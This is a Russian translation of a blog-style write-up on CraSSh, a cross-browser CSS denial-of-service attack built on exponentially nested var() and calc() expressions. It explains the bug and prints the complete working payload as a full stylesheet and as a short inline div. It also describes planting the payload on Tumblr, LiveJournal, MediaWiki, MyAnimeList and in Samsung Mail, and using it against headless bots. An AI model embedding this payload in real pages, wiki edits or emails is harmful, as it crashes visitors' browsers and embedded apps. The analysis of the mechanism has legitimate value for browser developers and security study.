Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.
Что такое CraSSh
CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций var()
и calc()
в современных браузерах.
CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:
- На движке WebKit/Blink — Chrome, Opera, Safari, даже Samsung Internet на смарт-телевизорах и холодильниках.
- Android WebView, iOS UIWebView также затронуты, то есть можно обвалить любое приложение со встроенным браузером.
- На движке Gecko — Firefox и его форки, такие как Tor Browser.
- Servo не запустился ни на одной из моих машин, поэтому я его не протестировал.
- На движке EdgeHTML — Edge в Windows, WebView в приложениях UWP (их вообще кто-нибудь использует?)
Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).
Как это работает
Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.
Атака полагается на три функции CSS:
Переменные CSS (custom properties и var())
Они позволяют объявлять: присваивать и читать переменные:
.variables
{
--variable: 1px;
/* declare some variable */
height: var(--variable);
/* read the previously declared variable */
}
Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как
выражения calc()
Выражения calc() позволяют выполнять некоторые базовые арифметические операции при описании правил, например, 'width: calc(50% - 10px)'
.
calc()
позволяет ссылаться на переменные и использовать несколько значений в одном выражении:
.calc
{
--variable: 1px;
/* declare a constant */
height: calc(var(--variable) + var(--variable));
/* access --variable twice */
}
Это даёт возможность:
- линейно увеличивать вычисления в каждом выражении
calc()
путём добавления ссылок на предыдущие переменные; - экспоненциально увеличивать сложность с каждым объявлением переменной с выражением
calc()
, ссылающимся на другие вычисляемые переменные:
.calc_multiple
{
--variable-level-0: 1px;
/* константа */
--variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0));
/* 2 вычисления константы */
--variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1));
/* 2 вызова предыдущей переменной, 4 вычисления константы */
/*
... больше аналогичных объявлений
*/
--variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1));
/* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */
}
Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной. Хитрость в том, что кэширования значений переменных не происходит, если у неё
разнородное значение
Технически, это часть calc()
, но она заслуживает отдельного упоминания. Разнородная переменная содержит как абсолютные, так и относительные единицы. Она не может быть:
- рассчитана как абсолютное значение и совместно использована различными приложениями для различных элементов, поскольку зависит от свойств целевого элемента (юниты
'%'
/'em'
); - рассчитана как абсолютное значение в одном приложении, потому что в некоторых случаях это приведёт к накоплению ошибок округления, вызывающих странные субпиксельные смещения, которые нарушат сложные макеты (у вас есть 12 столбцов, каждый шириной 1/12 экрана? Не повезло, приятель, они соберутся в новый ряд или оставят неуклюжий промежуток в конце).
Таким образом, это значение каждый раз пересчитывается заново:
.non_cached {
--const: calc(50% + 10px);
/* остаётся (50% + 10px) */
--variable: calc(var(--const) + var(--const));
/* по-прежнему не вычисляется актуальное значение */
width: var(--variable);
/* всё вычисляется здесь */
}
Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:
.mixed {
--mixed:calc(1% + 1px);
/* разнородная константа */
--mixed-reference: calc(var(--mixed) + var(--mixed));
/* переменная со ссылкой на константу */
--mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px);
/* предыдущая переменная после встраивания */
--mixed-reference-computes-as: calc(2% + 2px);
/* сокращённое представление, которое позже будет вычислено как абсолютное значение */
}
Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.
Так, выглядел оригинальный CraSSh:
.crassh {
--initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm);
/* разнородная константа */
--level-1: calc(var(--initial-level-0) + var(--initial-level-0));
/* 2 вычисления */
--level-2: calc(var(--level-1) + var(--level-1));
/* 4 вычисления */
--level-3: calc(var(--level-2) + var(--level-2));
/* 8 вычислений */
--level-4: calc(var(--level-3) + var(--level-3));
/* 16 вычислений */
--level-5: calc(var(--level-4) + var(--level-4));
/* 32 вычисления */
--level-6: calc(var(--level-5) + var(--level-5));
/* 64 вычисления */
--level-7: calc(var(--level-6) + var(--level-6));
/* 128 вычислений */
--level-8: calc(var(--level-7) + var(--level-7));
/* 256 вычислений */
--level-9: calc(var(--level-8) + var(--level-8));
/* 512 вычислений */
--level-10: calc(var(--level-9) + var(--level-9));
/* 1024 вычисления */
--level-11: calc(var(--level-10) + var(--level-10));
/* 2048 вычислений */
--level-12: calc(var(--level-11) + var(--level-11));
/* 4096 вычислений */
--level-13: calc(var(--level-12) + var(--level-12));
/* 8192 вычисления */
--level-14: calc(var(--level-13) + var(--level-13));
/* 16384 вычисления */
--level-15: calc(var(--level-14) + var(--level-14));
/* 32768 вычислений */
--level-16: calc(var(--level-15) + var(--level-15));
/* 65536 вычислений */
--level-17: calc(var(--level-16) + var(--level-16));
/* 131072 вычисления */
--level-18: calc(var(--level-17) + var(--level-17));
/* 262144 вычисления */
--level-19: calc(var(--level-18) + var(--level-18));
/* 524288 вычислений */
--level-20: calc(var(--level-19) + var(--level-19));
/* 1048576 вычислений */
--level-21: calc(var(--level-20) + var(--level-20));
/* 2097152 вычисления */
--level-22: calc(var(--level-21) + var(--level-21));
/* 4194304 вычисления */
--level-23: calc(var(--level-22) + var(--level-22));
/* 8388608 вычислений */
--level-24: calc(var(--level-23) + var(--level-23));
/* 16777216 вычислений */
--level-25: calc(var(--level-24) + var(--level-24));
/* 33554432 вычисления */
--level-26: calc(var(--level-25) + var(--level-25));
/* 67108864 вычисления */
--level-27: calc(var(--level-26) + var(--level-26));
/* 134217728 вычислений */
--level-28: calc(var(--level-27) + var(--level-27));
/* 268435456 вычислений */
--level-29: calc(var(--level-28) + var(--level-28));
/* 536870912 вычисления */
--level-30: calc(var(--level-29) + var(--level-29));
/* 1073741824 вычисления */
--level-final: calc(var(--level-30) + 1px);
/* 1073741824 вычисления */
/* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать */
border-width: var(--level-final); /* <- применяем рассчитанное значение */
/* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */
border-style: solid;
}
<div class="crassh">
Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh
</div>
А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).
<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>
Как это использовать
Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:
- Поломать UI на тех страницах сайта, которые под вашим контролем и позволяют определить произвольный CSS, даже не предоставляя шаблонов HTML. Мне удалось сломать MyAnimeList (пример со сбоем браузера). Reddit не подвержен этой атаке, потому что их парсер не поддерживает переменные CSS.
- Поломать UI на публичных страницах с открытым доступом на запись, которые позволяют вставлять некоторые теги HTML со встроенными стилями. На Википедии мой аккаунт забанили за вандализм, хотя я разместил пример со сбоем браузера на личной странице. Атака затрагивает большинство проектов на основе MediaWiki. В принципе, поломанную страницу уже нельзя будет восстановить через UI.
- Вызвать сбой почтовых клиентов с поддержкой HTML
- Это довольно сложно, поскольку почтовые клиенты удаляют/уменьшают HTML и обычно не поддерживают современные функции CSS, которые использует CraSSh
- CraSSh работает в
- Samsung Mail для Android
- CraSSh не работает в
- Outlook (веб)
- Gmail (веб)
- Gmail (Android)
- Yahoo (веб)
- Yandex (веб)
- Protonmail (веб)
- Zimbra (веб, автономная установка)
- Windows Mail (Windows, очевидно)
- Должен работать в
- Outlook для Mac (внутренне использует Webkit)
- Другие не тестировали.
- Мне просто пришла больная идея, что CraSSh можно использовать против ботов на основе CEF/PhantomJS. Атакуемый сайт может внедрять код CraSSh с заголовками (как здесь), а не показывать обычную ошибку 403. IIRC, ошибки обрабатываются по-разному во встраиваемых движках, поэтому
- это, вероятно, приведет к сбою бота (никто не ожидает переполнения стека или чего-то в headless-браузере)
- очень трудно для отладки, так как он даже не отображается в теле ответа, который, скорее всего, попадёт в логи
Зачем это сделано
- Помните тот пост Линуса?
Похоже, мир IT-безопасности достиг нового дна.
Если вы работаете в безопасности и думаете, что у вас есть совесть, то мне кажется, можете написать:
«Нет, правда, я не шлюха. Честно-честно»
на своей визитке. Я и раньше думал, что вся индустрия гнилая, но это уже становится смешно.
В какой момент люди из безопасности признáют, что обожают привлекать к себе внимание?
Я пошёл ещё дальше, и сделал аж целый сайт, посвящённый простому багу, потому что удовольствие работы до 4 утра и внимание к достигнутым результатам — это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом.
- Кроме того, я ненавижу фронтенд, который составляет часть мой работы в качестве fullstack-разработчика, и такие вещи помогают немного расслабиться.
Похожие штуки
Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.
Особая благодарность
- Константин Степанов (@cberg).
- EpicMorg, который разместил этот проект, хотя я доставляю им до хрена неприятностей.
Автор: m1rko